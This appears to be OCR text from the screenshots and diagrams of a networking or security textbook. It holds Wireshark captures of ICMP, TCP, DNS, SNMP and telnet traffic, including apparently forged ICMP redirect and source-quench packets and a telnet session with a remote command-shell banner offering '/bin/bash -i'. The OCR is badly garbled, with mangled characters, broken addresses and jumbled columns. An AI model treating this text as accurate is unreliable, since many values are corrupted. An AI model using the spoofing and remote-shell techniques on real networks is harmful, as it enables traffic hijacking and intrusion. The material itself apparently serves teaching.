w 0 s ]
7 [l
9 e
systat 11 M
daytime 13 [ i)
qotd 17 Bk H 51
chargen 19 FRERERS
time 37 ”J [ e *W‘J’:
domain 53
bootps 67
bootpe 68
tftp 69 i B ST A A
ntp 123 [ 28 Il e 55, I () [ 22
nbname 137 NetBIOS ¥ it
snmp 161 T FFL Y 2% A R P
snmp-trap 162 & B ) il trap
syslog 514 H & M55






OEBPS/Image00202.jpg
No. Source Destination Protocol Info

107 192.168.59.133 192.168.59.135 TCP 42292






OEBPS/Image00203.jpg
No. ~ Source Destination Protocol Info

8192.168.59.133 192.168.59.135 TCP 42384 ~ 23 [ACK] Seq=1 Ack=1 Win=2!





OEBPS/Image00082.jpg
[ icmp. ISR &> S
No. Source Destination Protocol Info -

5192.168.59.135 192.168.59.134 ICMP _Echo (ping) reply

id=0xz37a, seq=1/256, gy

request  1d-0x237a, seq=2/512, ttH
reply  id=0x237a, seq=2/512,

Echo (ping)
Echo (ping)

168.

Echo (ping) request 1d=6x237a,
Echo (ping) reply  id=0x237a,

te]

Echo (ping)
Echo (ping) reply

request 1 /1024, t
iu-ox237a, seq-4/1024, .

- e gt o

19 192.168.






OEBPS/Image00084.jpg
setho CRCRCN
X¢(F) WEE MEV) REG) WRQ SHQ) AiH©S) WEY THEW IED MEH)
AEJ@® DEREG X « > s
(R[Apply a display fitter .. <Ctrl-/> 3 ) miaw.  +
No. Source Destination Protocol Info

3192.168.59.2 192.168.59.132 DNS Standard query response Qgiféb A www.qq.com CNAME https.qq
- 4192.168.59.2 192,46 .59.132  DNS Standard query response”fff5aal AAAA ww.qq.com CNAME https
5192.168.59.132 12544.52.26  ICMP  Echo (ping) request igfoxe83d, seq=1/256, ttl=64 (reply i
6125.39.52.26 199/168.59.132 ICMP  Echo (ping) reply =0x083d, seq=1/256, tt1=128 (reques

7 192.168.59.132 .168.59.2 DNS Standard query 0xfacZ PTR 26.52.39.125.in-addr.arpa

8 192.168.59.2 192.168.59.132 DNS Standard query response 0xf4c2 PTR 26.52.39.125.in-addr.ar

9 192.168.59.132 125.39.52.26 1IcMP Echo (ping) request id=0x@83d, seq=2/512, ttl=64 (reply i

. 125.39.52.26 192.168.59.132 ICMP Echo (ping) reply id=0xe83d, seq=2/512, ttl=128 (reques~
Y s ._r...._.-._.erJ_, S RS S





OEBPS/Image00206.jpg
~ Source

» Transmission Control Protocol, Src Port: 23, Dst Port: 42384, Seq: 1, Ac
Telnet

~ Will Echo
Command: Will (251)
Subcommand: Echo





OEBPS/Image00083.jpg
Wemp T e e

No.  Source Destination Protocol Info ==
EHEZ IR RASR A R AL CHal e (ping) reply  id=6x237a, semmm=

Frame 6: 70 bytes on wire (5 T s ed bits) on inte
» Ethernet II, Src: 00:00:00_00:00:00 (O Vmware_bd:c4:3c (00:
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.134
~ Internet Control Message Protocol
Type: 4 (Source quench (flow control))

Code: ©
Checksum: @x66fc [correct]
[Checksum Status: Good]

Interget Protocol Version 4, Src: 192.168.59.134, D: 19: 68.59
bt ad P & o LRI s






OEBPS/Image00207.jpg
I
» Transmission Control Protocol, Src Port: 23, Dst Por

42384, Seq:

~ Will Suppress Go Ahead
Command: Will (251)
Subcommand: Suppress Go Ahead
~ Will Echo
Command: Will (251)
Subcommand: Echo





OEBPS/Image00086.jpg
vetho coo0
X WEE MNEV) REG WRO SO &KiH© REY) 4w IRO WEIH)
WA® B RE Q «» 0w Qe @ fF

(A icmp B3 - AR +

No. Source Destination Prig
5192.168.59.132 125.39.52.26
192.168.59

Bcol Info

MP  Echo (ping) request i
ICMP  Echo (ping) reply

(Redirect for host)
irect f

Frame 13: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface 6 <
Ethernet II, Src: 00:00:60_00:00:00 (00:00:60:00:00:00), Dst: Vmware ea:f3:al (09:50:56:e
Internet Protocol Version 4, Src: 192.168.59.136, Dst: 192.168.59.2
Internet Control Message Protocol

Type: 5 (Redirect)

Code: 1 (Redirect for host)

Checksum: 0x63a6 [correct]

[Checksum Status: Good]

teway address: 192.168.59.131
» Internet Protocol Version 4, Src: 192.168 , Dst: 192.168.59.132
» User Datagram Protocol, Src Port: 53, Dst Port: 56779 -
‘ D
0026 3b 62 05 01 63 a6 CENSSNNSENES 45 00 60 b8 a6 a5 ;- c [N o
©0 60 80 11 a1 bg cO a8 3b 02 cO a8 3b 84 60 35 ] =

© 7 Gateway address (icmp.redir_gw), 4 bytes $48: 552 - BE5R: 120 (21.7%)  Profile: Default





OEBPS/Image00204.jpg
No. ~ Source Destination Protocol Info
TELNET T ta

10 192.168.59.135 192.16

33 TCP 23 — 42384 [ACK] Se

» Transmission Control Protocol, Src Port: 423é4, Dst Port: 23, seq: 1;
~ Telnet
~ Don't Echo

Command: Don't (254)
Subcommand: Echo





OEBPS/Image00085.jpg
vetho co0 0
XHF) WEE) ME((V) RIEG) WRKO HHQ) RS LEY) K4W) IRO WEIH)

MIAG® DERE Q«» e |5aaaf

[ icmp BED - miAst.  +

No.  Source Destina Protocol _ Info

5192.168.59.132 125. .26 ICMP  Echo (ping)

6 125.39.52.26 192.168.59.132 ICMP _ Echo (ping)
9 6 ICMP  Redirect

» Ethernet II, X 0 (00:00:00:00:00:00), DS X
» Internet Protocol Version 4, Src: 192.168.59.136, Dst: 192.168.59.132
- Internet Control Message Protocol

Type: 5 (Redirect)

Code: 1 (Redirect for host)

Checksum: ©x2247 [correct]

[Checksum Status: Good]

Gateway address: 192.168.59.131
~ Internet Protocol Version 4, Src: 192.168.59.132, Dst: 192.168.59.2

0100 .... = Version: 4 =

‘ 0

0000 00 6c 29 dO 21 23 00 60 00 00 00 00 68 00 H§ 00 ) 1% E =
00 38 4d f1 00 00 ff ©1 75 76 cO a8 3b 83 cO a8 - 8M uv

© 7 Frame (frame), 70 bytes $348: 355 - BER: 120 (33.8%)  Profile: Default





OEBPS/Image00205.jpg
No. ~ Source Destination Protocol Info
TELNET T

» Transmission Control Protocol, Src Por 42384, Dst Por
~ Don't Suppress Go Ahead
Command: Don't (254)
Subcommand: Suppress Go Ahead





OEBPS/Image00099.jpg
Tt +

Protocol _Info

gl I 0
» Frame 24: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 6 |-
» Ethernet II, Src: Vmware ca:e4:66 (00:0c:29:ca:e4:66), Dst: Vmware aa:e0:27 (0:0c:29:
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.131
~ Transmission Control Protocol, Src Port: 48594, Dst Port: 7615, Seq: 1, Ack: 1, Len: €

Source Port: 40594

Destination Port: 7615

[Stream index: 0]

[TCP Segment Len: 0]

Sequence number: 1 relative sequence number)

[Next sequence number: 1  (relative sequence number)]

Acknowledgment number: 1 relative ack number)

1080 .... = Header LengthNELbytes (8)

~ Flags: 0x010 (ACK)

000

ved: Not st
Nohct t set F
Congestiof Window Reduced (CWR): Not set

Urgent: Not set
Acknowledgment: Set
Push: Not set

= Reset: Not set

Syn: Not set

P "‘-.--\‘__'-‘





OEBPS/Image00221.jpg
[GEg-g=h SNMPALE
NMS

= ~ UDP¥#iH
L o get-request 161
get-response
e ‘get-next-request ~| UDP#i I
[ 161
get-response
set-request UDPHi LI
o 161
UDPi [ (<
tr:
162 ®
UDPHiH = <
162 informRequest e
get-response "






OEBPS/Image00098.jpg
Destination Protocol Info

=293:
| —
Frame 23: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface
Ethernet II, Src: Vmware aa:e0:27 (00:6c:29:aa:e:27), Dst: Vmware ca:e4:66 (00:0
Internet Protocol Version 4, Src: 192.168.59.131, Dst: 192.168.59.135
Transmission Control Protocol, Src Port: 7615, Dst Port: 40594, Seq: 0, Ack: 1, L
Source Port: 7615
Destination Port: 40594
[Stream index: ]
[TCP Segnent Len: o]

[Next sequence number ] (relatxve sequence number) ]
Acknowledgment number: 1  (relative ack number)

1010 .... = Header Length: 40 bytes (10)

- Flags: 8x012 (SYN, ACK)
000. .... . ReserN

s v Nonce: Not set
Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set
Urgent: Not set
Acknowledgment: Set
Push: Not set
Reset: Not s
Syn: Set
Fin: Not set






OEBPS/Image00101.jpg
B0 - ®AR. +

Source. Destination ProtoctInfo
9192.168.59.131 192.168.59.135 TCP 443 - 8081 [SYN] Seq=2646881366 Win=1500 Ler






OEBPS/Image00219.jpg
B
)
MIB O snmpfem
C o
Fg R — i
NMS MIB

BT

RES
€302 )





OEBPS/Image00100.jpg
» [Frane 13: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
» Ethernet IT, Src: Vmware_aa:e0:27 (00:0c:29:aa:e@:27), DSt: Vmware ca:e4:66 (00
+ Internet Protocol Version 4, Src: 192.168.59.131, Dst: 192.168.59.135

Source Port: 443
Destination Port: 8980

[Strean index: 0]

[TCP Segnent Len: 0]

Sequence number: 6  (relative sequence number)

[Next sequence number: © tive sequence number)]
Acknowledgnent number
0101 .... = Header : 20 bytes (5)

Reserved: Not set
Nonce: Not set
Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set

Urgent: Not set
Acknowledgment: Not sel

Fin: Not set
Vigs]

[1cp Flags:





OEBPS/Image00220.jpg
[REg-eih
NMS

[ZES

L;IvA

SNMP
R






OEBPS/Image00213.jpg
No. ~ Source Destination Protocol Info
I Telnet D

36 192 168 59.133 192.168.59.135 TCP 42384 — 23 [ACK] Seq=28

» Transmission Control Protocol, Src Port: 23, Dst Port: 42384, Seq:

Data: $





OEBPS/Image00214.jpg
No. ~ Source Destination Protocol Info

I 47 192.168.59.133 192.168.59.135 TELNET Telnet Data
‘

» Transmission Control Protocol, Src Port: 42384, Dst Port: 23

Dat /sbin/ifconfig\r\n






OEBPS/Image00093.jpg
0 15 16 31

Source Port Destination Port
(16 bits) (16 bits)
Sequence Number
Basic (32 bits)
TCP Acknowledgment Number
Header (32 bits) TCP
Header
(20bytes)[ Header g, ) [CTE[UTATPTR]STE Window Size
ength . [WICIR|C|S|S Y| T i
(dbits)  (4bits) |R|E|G|K|H|T[N|N| (16 bits)
TCP Checksum Urgent Pointer
(16 bits) (16 bits)
Options

(variable)






OEBPS/Image00092.jpg
*ethd ©eo0
XHF) WEE WEV) REG) WRKRO SO &S LEY) E4EW IRD #MEH)

BEREG Q « » .0« »= @ a o iF

+

Destination Protocol Info
35 1 ] [PSH, ACK] 1 1
192, ~ 192.168.59.135 TCP. 180 ~ 34928 [ACK] Seq=1 Ack=3 Win=227 Le
20192.168.59.131  192.168.59.135 TCP 80 —~ 34928 [PSH, ACK] Seq=1 Ack=3 Win=2
21192.168.59.135 192.168.59.131 TCP 34928 ~ 80 [ACK] Seq=3 Ack=3 Win=229 Le

Loy X e O Ny e el 4






OEBPS/Image00212.jpg
Source Destination Protocol Info

il 33 192.168.59.135 TCP 42384

I
» Transmission Control Protocol, Src Port: 23, Dst Port: 42384, Seq: 66, Ack: 28, Len

~ Telnet

r\n

You can enter a command.\r\n
Examples: /bin/ls, /bin/sh -c "pwd;1s", cmd /c dir c:, /bin/bash -i\r\n
Data: Note: full path has to be specified\r\n

Note: cannot use 'progl | prog2', 'program > file' or 'program < file'\r\n





OEBPS/Image00095.jpg
RIESYNHHL
(SEQ=x, SYN=1)

RIESYN+ACKIHIL

/ (SEQ=y, ACK=xt1,

SYN=1,ACK=1)





OEBPS/Image00217.jpg
Protocol Info
2384 — !

55 192.168.59.133 192.168.59.135 TCP 42384 ~ 23 [ACK] Seq=45 Ack=13%





OEBPS/Image00094.jpg
K% SYNIR L
o (SEQ=x,SYN=1) \





OEBPS/Image00218.jpg
2]

G

FHX

|

O

JIR55 8%

RTINS

/W%

R

/

B

-

TEMHL





OEBPS/Image00097.jpg
No.

Destination Protocol Info

24 192.168.59.135 192.168.59.131 TCP

40594 — 7615 [ACK] Se

» Frame 22: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface 6
» Ethernet II, Src: Vmware ca:ed:66 (00:6c:29:ca:e4:66), Dst: Vmware_aa:e0:27 (00:0c:29:
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.131

Source Port: 48594

Destination Port: 7615
[Stream index: ©]
[TCP Segment Le

Sequence number: ©  (relative sequence number)

[Next sequence number: 6  (relative sequence number)]
Acknowledgment number: 0

1010 . = Header LeJ bytes (10)

000. Reserved: Not set

Nonce: Not set

Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set

Urgent: Not set

Acknowledgment: Not set

Push: Not set

Reset: Not

0 = Fin: Mot set

[TCP Flaas:

f’t—‘r’.’" ﬂ“*—-’o—"r—-al“ _.I‘I""






OEBPS/Image00215.jpg
No. Source Destination Protocol Info
TELNET T

49 192.168.59.133 192.168.59.135 TCP 42384 —~ 23 [ACK] Seq=44 Ack=1356 W:

‘ »

» Transmission Control Protocol, Src Port: 23, Dst Port: 42384, Seq: 274, Ack: 44, Len:
- Telnet

JNNI

Data netmask 25! broadcast 192.16: 55\1
Data: inet6 fd15:4ba5:5a2b:1008:ede8:8943:2476:87db prefixlen 64 scopeid (
Data: inet6 fe80::20c:29ff:feca:e466 prefixlen 64 scopeid ©x20<link>\r\n
Data: inet6 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466 prefixlen 64 scopeid
pata: ether 00:0c:29:ca:e4:66 txqueuelen 1000 (Ethernet)\r\n

Data: RX packets 1327 bytes 975102 (952.2 KiB)\r\n

Data: RX errors @ dropped @ overruns @ frame 6\r\n

pata: TX packets 328 bytes 27709 (27.0 KiB)\r\n

Data: TX errors @ dropped © overruns @ carrier © collisions @\r\n

Data: \r\n

Data: lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536\r\n

Data: inet 127.0.0.1 netmask 255.0.0.0\r\n

Data: inet6 ::1 prefixlen 128 scopeid ©x1@<host>\r\n

Data: loop txqueuelen 1000 (Local Loopback)\r\n

Data: RX packets 100 bytes 7596 (7.4 KiB)\r\n

Data: RX errors © dropped @ overruns © frame O\r\n

Data: TX packets 100 bytes 7596 (7.4 KiB)\r\n

Data: TX errors © dropped © overruns © carrier @ collisions O\r\n

Data: \r\n





OEBPS/Image00096.jpg
k]

@ R SYNH#X .

( SEQ=x, SYN=1)
9 K% SYN+ACKHC

/ © (SEQ=y, ACK=x+1,

SYN=1, ACK=1)
©®  mackax

© (SEQ=x+l, ACK=y+l,
ACK=1)






OEBPS/Image00216.jpg
No. ~ Source Destination Protocol Info

51 192.168.59.133 192.168.59.135 TCP 42384 — 23 [ACK] St

» Transmission Control Protocol, Src Port: 23, Dst Port: 42384,
~ Telnet





OEBPS/Image00066.jpg
EEME etho o0
XHE WEE WAV KEG WRO HFE WO BEY FAW IRO W@HE)
ANZ® B RGE Q « » 31«

Source Destination Protocol
6 192.168.59.131  192.168.59.135 ICMP

» Frame 7: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ©
~ Ethernet II, Src: Vmware ca:e:66 (O €4:66), Dst: Vmware aa:e:27 (00:6c:29:az
» Destination: Vmware aa:e0:27 (00:
» Source: Vmware ca:ed:66 (00:0¢:29:c
Type: IPv4 (0x0860)
Padding: 000900000000000000000000000000000000
Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.131
Internet Control Message Protocol
Type: @ (Echo (ping) reply)
code: 0
Checksum: Oxf6c
[Checksum Status: Goo
Identifier (BE): 55365 (0xd845)
Identifier (LE): 17880 (0x45d8)
Sequence number (BE): 12528 (0x30f0)
Sequence number (LE): 61488 (0xf030)

[Request_frame: 6]
[Response time: 6.382 ms]

ct]
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12 192.168.59.133 192.168.59.135 TCP

Frame 11: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) on inte
Ethernet II, Src: Vmware_ca:e4:66 (00:6c:29:ca:ed:66), Dst: Vmware fd:de:bs
Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.133
Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Seq: 1, Ack:
Telnet

| willecho ]
: will (251)

: Echo
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No.  Source Destination Protocol _Info

i 7192.168.59.135  192.16 31 ICWP  Echo (ping) reply  1d=0xdsds, seq=12

< v

» Frame 6: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0

» Destination: Vmware ca:ed:66 (00:0c:29:ca:ed:66)

Type: IPv4 (0x0800)

~ Internet Control Message Protocol

Type: 8 (Echo (ping) request)
Code: @
Checksum: xee!

[Checksum Status: Good]

Identifier (BE): 55365 (0xd8d5)
Identifier (LE): 17880 (0x45d8)
Sequence number (BE): 12528 (x30f@)
Sequence number (LE): 61488 (0xf630)

[Response frame: 7]
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3 TELNET __ Telnet Data
L 14 192.168.59.133 192.168.59.135 TCP 42292 ~ 23 [ACK] Seq=7 Ack=38
El 0

» Frame 13: 100 bytes on wire (800 bits), 100 bytes captured (860 bits) on in
» Ethernet II, Src: Vmware ca:e4:66 (0:0c:29:ca:e4:66), Dst: Vmware fd:de:bs
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.133

Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Seq: 4, Ack:
Telnet

Command: Will (251)

Subcommand: Suppress Go Ahead
Data: Welcome 192.168.59.133\r\n
Data: Login:
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No. Source Destination Protocol_Info 1§
5192.165.12.196_125.39.52.26 ICNP _ECho (ping) request 10-0x9o03, seq=37457/28562, Lt1=2
_———r 155.168.12.106 125.39.52.26 _ICNP _Echo (ping) request id=0x00ab, 504=60739/17389, Lt1=3
26 ICHP _Echo (ping) request id=ex99co, seq

_9 EC P T - TR ) _requesl S0=0x0078 9438/7673
_11 192.168.12.106125.39.52.26 ICHP —Echo w-mv _—reques? 6=010606 2102/30372, Tr1=6 (

T T e z-

14192.168.12.106 125.39.52.26 __ICHP__Echo (ping) request id=0xaocs 2206/19148, tt1=5 (

6 192.168.12.106  125.39 ICHP  Echo (ping) request 1d=0x8043, seq=23600/12360, LL1=9 (
1710210012100 175.30.52.26  IcNb  Echo (ping) request 1d-0r00sa, seq-srazo/itato, ttl-io
181921168112.106 125.39.52.26  ICNP  Echo (ping) request 1d=0x00e5, seq=16174/11839, ttl=ii
19192.168.12.166 125.39.52.26  ICMP  Echo (ping) request 1d=0x8037, seq=35213/36233, ttl=12
20192.168.12.106 125.39.52.26  ICHP  Echo (ping) request 6247/34062, ttl=13
21192.168.12.106 125.39.52.26  ICHP  Echo (ping) request id=exeofd, 5297/47567, ttl=14
22125.39.52.26  192.166.12.106  ICNP  Echo (ping) reply  1d=0x00fd, seq=58297/47587, ttl=sd |-

(o T v BB PV s e P
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9192.168.59.135 192.168.59.133 TCP 23 -~ 42292 [ACK] Seq=1 Ack=4 W:
‘ >
» Frame 8: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) on interfa
» Ethernet II, Src: Vmware_fd:de:b8 (00:0c:29:fd:de:b8), Dst: Vmware_ca:e4:66 (€
» Internet Protocol Version 4, Src: 192.168.59.133, Dst: 192.168.59.135
» Transmission Control Protocol, Src Port: 42292, Dst Port: 23, Seq: 1, Ack: 1,

- Telnet
~ Do Echo
Command: Do (253)

Subcommand: Echo
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Info
9.135  TELNET

Frame 10: 69 bytes on wire (552 bits), 69 bytes captured (552 bits)
Ethernet II, Src: Vmware_fd:de:b8 (80:0c:29:fd:de:b8), Dst: Vmware.
Internet Protocol Version 4, Src: 192.168.59.133, Dst: 192.168.59.1

Transmission Control Protocol, Src Por:
Tel
~ Do Suppress Go Ahead

Command: Do (253)

Subcommand: Suppress Go Ahead

42292, Dst Port: 23, Seq:
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No. _Source Destination Protocal info

16 192.165.12.106  125.39.52.26  ICNP  Echo (ping) request '5q=23600/12380,

17192.108.12.106 125.39.52.26  ICNP  Echo (ping) request 1d=0x003a, seq=37426/11410,
18192.168.12.106 125.39.52.26  ICMP  Echo (ping) request X60e5, seq=16174/11839,
19192.168.12.106 125.39.52.26  ICWP  Echo (ping) request X0037, 5eq=35213/36233,
20192.168.12.106 125.39.52.26  ICNP  Echo (ping) request 1d=0x0011, seq=26247/34662,

|- 21192.168.12.106125.33.52.20 __ICNP__Echo (ping) request id=0x00fd, seq=58297/47587,

+ Frame 22: 60 bytes on wire (480 bits), 60 bytes captured [0 bits) on interface 0
» Ethernet II, Src: Tp-LinkT_46:76:ba (ec:17:2f:46:70:ba), Dst\ Giga-Byt_eb:46:8d (5
» Internet Protocol Version 4, Src: 125.39.52.26, Dst: 192.168.9§.106
- Internet Control Message Protocol
Type: © (Echo (ping) reply)
Code: ©
Checksun: oxb &l
[Checksun Status: Good)
Identifier (BE): 253 (9x00fd)
Tdentifier (LE): 64768 (0xfd0o)
Sequence number (BE): 56297 (6xe3b9)
Sequence number (LE): 47587 (oxb9e3)
[Request_frane: 21
[Response time: 15.613 ms]
+ Data (12 bytes)

s, b J S et § s TN L o P

49:eb:46:8d)
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16192.166.12.106 125.39.52. Tow - Echo
17192.168.12.106 125.39.52.26  ICHWP  Echo (pin
18192.166.12.106 125.39.52.26  ICWP  Echo (ping)
19192.168.12.106 125.39.52.26  ICWP  Echo (ping) re
20192.166.12.106 125.39.52.26  ICMP  Echo (ping) requ
21192/166.12.106 125.39.52.26 WP Echo (ping) request
22125.39.52.26  192.166.12.106  ICHP  Echo (ping) reply

'50-23600/12380,
seq=37426/11410,
Seq=16174/11839,
5q=35213/36233,
seq=26247/34662,
s5eq=58297/47587,
5q=58297/47587,

Frane 15: 116 bytes on
Ethernet 11, Src: Ty
Internet Prot

(880 bits), 110 bytes captured (880 bits) on interface 8 -
(T_46:70:ba_(ec:17:2f:46:70:ba), Dst: Giga-Byt eb:46:80 (50:e5:49:eb:46:8d)
Fsion 4, Src: 125.39.79.158, Dst: 192.168.12.106

Type: 11 (Tine-to-live exceeded)

Code: 0 (Time to live exceeded in transit)
Checksun: oxface [correct]

[Checksun Status: Good]

Length: 17

[Length of original dat

ran: 68]
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Destination Info

» Frame 17: 67 bytes on wire (536 bits), 67 bytes captured (536
» Ethernet II, Src: Vmware_fd:de:b8 (©0:0c:29:fd:de:b8), Dst: Vi
» Internet Protocol Version 4, Src: 192.168.59.133, Dst: 192.16¢
» Transmission Control Protocol, Src Port: 42292, Dst Port: 23,
~ Telnet

Data: s





OEBPS/Image00071.jpg
No. Source Destination Protocol Info N

9192.168.12.130 125.39.52.26 _ ICMP _Echo (ping) request ,Seq=51691/60361, £E1=3 (N0

11 192.168.12.130 125.39.52.26  ICMP__Echo (ping) request id=0x0033, seq=16952/14402, ttl=4 (no

14 192.168.12.130 125.39.52.26  ICMP _Echo (ping) request 1d=6x802a, seq=48005/34235, ttl=5 (no

168.12.130_125.39.52.26__ICNP _Echo (ping

redusst  id=0x00ch,  36q=49673/2495, nl 5 (no

(ping
(ping

request
request

31966/40060, o
5eq=13130/18995, ttl=

168.12.130 .39.52.26

6256/32831, ttl=9 (no
5eq=5280/40980, tt1=10 (ng
5eq=62464/244, ttl=11 (no

( ) request
24192.168.12.130 125.39.52.26 ICMP Echo (ping) request
25192.168.12.130 125.39.52.26 ICMP Echo (ping) request
28192.168.12.130 125.39.52.26 ICMP Echo (ping) request

( )

( )

( )

5eq=33518/61058, ttl=12 (n
30 192.168.12.130 125.39.52.26 ICMP Echo (ping) request 5eq=60227/17387, ttl=13 (n
32192.168.12.130 125.39.52.26 ICMP Echo (ping) request $€q=27906/621, tt

33125.39.52.26  192.168.12.130 ICMP Echo ses

reply 7906/621, tt
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Protocol Info

Destination

\ 19 192.168.59.133 192.168.59.135 TCP 42292 ~ 23 [ACK] Se
. »
» Frame 18: 67 bytes on wire (536 bits), 67 bytes captured (536 bits)
» Ethernet II, Src: Vmware_ca:e4:66 (00:0c:29:ca:e4:66), Dst: Vmware_
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.1
» Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Seq:
~ Telnet
Data: s
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7192.168.59.133 192.168.59.135 TCP 42292 ~ 23 [ACK] Seq=1 Ack=1 Win=29312 |
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EERE etho 00
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Protoci Info

6192.168.59.135  192.168.59.150 (ping) reply  id=6x002d
8192.168.59.150  192.168.59.135 ICMP Echo (ping) request id=6x0067,
9192.168.59.135  192.168.59.150  ICMP Echo (ping) reply  id=6x0067,
16 192.168.59.150  192.168.59.135 ICMP Echo (ping) request 1id=6x072
11192.168.59.135 192.168.59.150  ICMP Echo (ping) reply  id=6x0072
13192.168.59.150  192.168.59.135 ICMP Echo (ping) request 1d=6x0029
14192.168.59.135  192.168.59.150  ICMP Echo (ping) reply  id=6x0029
16 192.168.59.150  192.168.59.135 ICMP Echo (ping) request id=6x0edf
17 192.168.59.135  192.168.59.150  ICMP Echo (ping) reply  id=exeedf

[Frame 3: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet IT, Src: aa:bb:cc:11:22:33 (aa:bb:cc:11:22:33), Dst: Vmware ca:ed:66 (00:€

Internet Protocol Version 4, Src: 192.168.59 Dst: 192.168.59.135 ‘
Internet Control Message Protocol |
|
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AR

No. Source

Protocol Info

< »

» User Datagram Protocol, Src Port: 53, Dst Port: 38226
~ Domain Name System (response)
Transaction ID: 0x9ade
» Flags: 0x8180 Standard query response, No error
Questions: 1
Answer RRs: 2
Authority RRs: 5
Additional RRs: 5
ueries
Answers
» baidu.com: type A, class IN, addr 220.181.57.216
» baidu.com: type A, class IN, addr 123.125.115.110
~ Authoritative nameservers
» baidu.com: type NS, class IN, ns ns7.baidu.com
» baidu.com: type NS, class IN, ns dns.baidu.com
» baidu.com: type NS, class IN, ns ns3.baidu.com
» baidu.com: type NS, class IN, ns ns4.baidu.com
» baidu.com: type NS, class IN, ns ns2.baidu.com

Additional records
e ‘.__,-—.r.'o“’N‘
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[No.  Source Destination Protocol Info B
__4192.168.59.135 192.168.59.134 ICMP Echo (ping) reply _ id=exaf27, seq=1/256

70 bytes on
» Ethernet II, Src: 00:00:00_00
» Internet Protocol Version 4, Sri
~ Internet Control Message Protocol

Type: 11 (Time-to-live exceeded)

Code: © (Time to live exceeded in transit)

Checksum: 0xe359 [correct]

[Checksum Status: Good]

L'_I}"‘EWO‘I‘V"SEE 4, Src: J99a190-59 n,: :izfa‘*is

0:00:00:00), Dst: Vmware_bd:cd:3c (00:0c:2
192.168.59.135, Dst: 192.168.59.134

r
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3 19 9.133 TELNET
44 192.168.59.135 192.168.59.133 TELNET Telnet Data ...

| 45192.168.59.133 192.168.59.135 TCP 42292 - 23 [ACK] Seq=17 Ack=263
‘

» Transmission Control Protocol, Src Port: 42292, Dst Port: 23, Seq: 16, Ack: 2(
~ Telnet
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No. Source Destination Protocol Info

4192.168.59.135 192.168.59.134 ICMP _Echo (ping) reply  1d=0x4f27, seq=1/256, ttl=64 (request

168 Echo (ping) request X427, seq=2/512, ttl=64 (reply i
192.168.59.134 ICMP__ Echo (ping) reply  id=ex4f27, seq=2/512, ttl=64 (request

192.168.59.135 ICMP  Echo (ping) request
192.168.59.134_ICHP (ping) reply

ttl=64
ttl=64

1d=6x4f27, seq=3/768,
seq=3/768,

(reply 1
(request

Echo (ping) request
(ping) reply

tt

id=0xaf27,
d=ex4f27,

Seq=4/1624,
seq=4/1624,

64 (reply
64 (reques

Echo niae reguest
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99 192.168.59.13! 92 3 ELNE Telnet Data

100 192.168.59.133 192 168. 59 135 TCcP 42292 — 23 [ACK] Set

2 Ack=1369 Win=3___|-
‘ y
» Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Seq: 278, Ack: 32, Len: 1091
- Telnet

ethe: flags=4 UP, BROADC RUNNING, MULTICAST> mtu 1508\r\n

Data: inet 192.168.50.135 netmask 255.255.255.0 broadcast 192,168.59.255\r\n
Data: inet6 feso::20c:29ff:feca:ed66 prefixlen 64 scopeid 0x20<link>\r\n
Data: inet6 fd15:4ba5:5a2b:1008:193e:aeb1:2bf3:17f8 prefixlen 64 scopeid Ox0<gli

Data: inet6 fd15:4ba5:5a2b:1008:20c:29ff:feca:ed66 prefixlen 64 scopeid 0x0<glol
Data: ether 00:0c 6 txqueuelen 1000 (Ethernet)\r\n
Data: RX packets 322434 bytes 454456830 (433.4 MiB)\r\n

Data: RX errors 0 dropped © overruns © frame 0\r\n

Data: TX packets 147624 bytes 8951259 (8.5 MiB)\r\n

Data: TX errors @ dropped 0 overruns 0 carrier @ collisions 6\r\n
Data: \r\n

Data: lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536\r\n

Data: inet 127.0.0.1 netmask 255.8.0.0\r\n

Data: inet6 ::1 prefixlen 128 scopeid @x10<host>\r\n

Data: loop txqueuelen 1000 (Local Loopback)\r\n

Data: RX packets 100 bytes 5432 (5.3 KiB)\r\n

Data: RX errors 0 dropped @ overruns @ frame 0\r\n

Data: TX packets 100 bytes 5432 (5.3 KiB)\r\n

Data: TX errors © dropped © overruns ® carrier © collisions G\r\n

pata: \r\n
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4192.168.59.135 192.168.59.134 ICMP  Echo (ping) reply

Frame 5: 70 bytes on wire (560 bits), 76 bytes captured (560 bits) on interface 0
Ethernet II, Src: 00:00:00_00:00:00 (00:0f 0:00:00:00), Dst: Vmware_bd:c4:3c (00:6c:29:bd:cd
Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.134
Internet Control Message Protocol
Type: 3 (Destination unreachable)
Code: 1 (Host unreachable) 6—
Checksum: 0xc841 [correct]
[Checksum Status: Good]
Unused: 00000000
» Internet Protocol Version 4, Src: 192.168.59.134, Dst: 192.168.59.135
~ Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: @
Checksum: Ox1abl [unverified] [in ICMP error packet]
[Checksum Status: Unverified]
TIdentifier (BE): 4619 (0x120b)
TIdentifier (LE): 2834 (0x@b12)
Sequence number (BE): 1 (€x0001)
Sequence number (LE): 256 (0x0100)
